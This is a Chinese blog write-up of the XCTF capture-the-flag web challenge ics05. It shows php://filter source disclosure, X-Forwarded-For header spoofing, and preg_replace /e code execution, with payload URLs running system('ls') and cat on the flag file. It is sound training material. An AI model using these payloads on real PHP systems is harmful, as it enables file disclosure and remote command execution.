xctf-web-ics05

xctf-web-ics05

前言

这道题干什么,想要告诉我们什么。。。

瞎鸡儿分析
ics05这道题,可能是在入侵后利用管理的平台来完成一些信息的收集,所以读取他的文件并利用就非常重要
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

这里分析可能有错,单纯个人见解


过程

刚刚开始的url是:114.200.241.243:51522/index.php
看到页面有id
好家伙我又以为是sql注入了
特别是看到这个页面
正常回显。。
在这里插入图片描述
其实不是
认真再看看
在这里插入图片描述
没啥想法可以先看看这个文件的源码有什么
毕竟万事看源码

知识点

这里我们看到的是index.php是php文件那么就要用到
php伪协议查看源码

这里参考
https://cloud.tencent.com/developer/article/1037893

注意的是
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

url:114.200.241.243:51522/index.php
后加

?page=php://filter/convert.base64-encode/resource=index.php

convert.base64-encode只是为了是防止代码直接被执行
使用base64加密查看index.php源码

在这里插入图片描述
使用rot13也可以
在这里插入图片描述
解码之后,拉到最后发现
在这里
[X_FORWARDED_FOR’] === '127.0.0.1
响应头中包含:X-Forwarded-For:127.0.0.1时,服务器会响应这段代码
playload加入一行
X-Forwarded-For:127.0.0.1
在这里插入图片描述

//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

    echo "<br >Welcome My Admin ! <br >";

    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];

    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);
    }else{
        die();
    }

}

知识点

preg_replace 函数执行一个正则表达式的搜索和替换。
参数
$pattern: 要搜索的模式,可以是字符串或一个字符串数组。
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。
返回值
如果 subject 是一个数组, preg_replace() 返回一个数组, 其他情况下返回一个字符串。
如果匹配被查找到,替换后的 subject 被返回,其他情况下 返回没有改变的 subject。如果发生错误,返回 NULL。
参考
https://www.runoob.com/php/php-preg_replace.html


在这里的函数,以get的方式读取pat,rep,sub三个参数
这里的preg_replace()存在执行漏洞。当正则表达式pattern以/e结尾时replacement的值会被作为php函数执行。

那我们可以试试
链接

?index.php?pat=/a/e&rep=system('ls')&sub=a

在这里插入图片描述
然后查看一个可以的文件夹

?pat=/a/e&rep=system('ls+s3chahahaDir')&sub=a

在这里插入图片描述
继续

?pat=/a/e&rep=system('ls+s3chahahaDir/flag')&sub=a

在这里插入图片描述
最后有一个flag.php

?pat=/a/e&rep=system('cat+s3chahahaDir/flag/flag.php')&sub=a

在这里插入图片描述

总结

我觉得这道题告诉我的是一些关于伪协议的运用,还有就是后台网站管理系统的敏感文件读取(任意文件读取),以及一些对于网站系统的那一处可能存在什么漏洞。

点个赞再走吧!
在这里插入图片描述

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值